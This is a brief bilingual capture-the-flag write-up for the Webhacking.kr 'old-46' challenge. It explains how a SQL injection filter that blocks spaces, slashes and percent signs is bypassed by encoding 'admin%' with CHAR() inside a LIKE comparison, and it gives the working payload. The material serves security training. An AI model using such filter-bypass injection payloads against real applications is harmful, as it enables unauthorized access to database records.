Webhacking.kr old-46

Challenge

Bypass the filtered SQL syntax and select admin.

绕过 SQL 语法过滤并选出 admin。

1
https://webhacking.kr/challenge/web-23/

Analysis

题目过滤了空格、/、*、% 和若干关键词,但仍允许 ||、LIKE、括号及 CHAR()。因此可以把 admin% 写成 char(97,100,109,105,110,37),再用 LIKE 匹配 admin 记录;前缀 lv=6|| 使表达式进入目标分支。

Solution

payload 为:

1
?lv=6||(id)like(char(97,100,109,105,110,37))

该 payload 命中 admin 目标记录。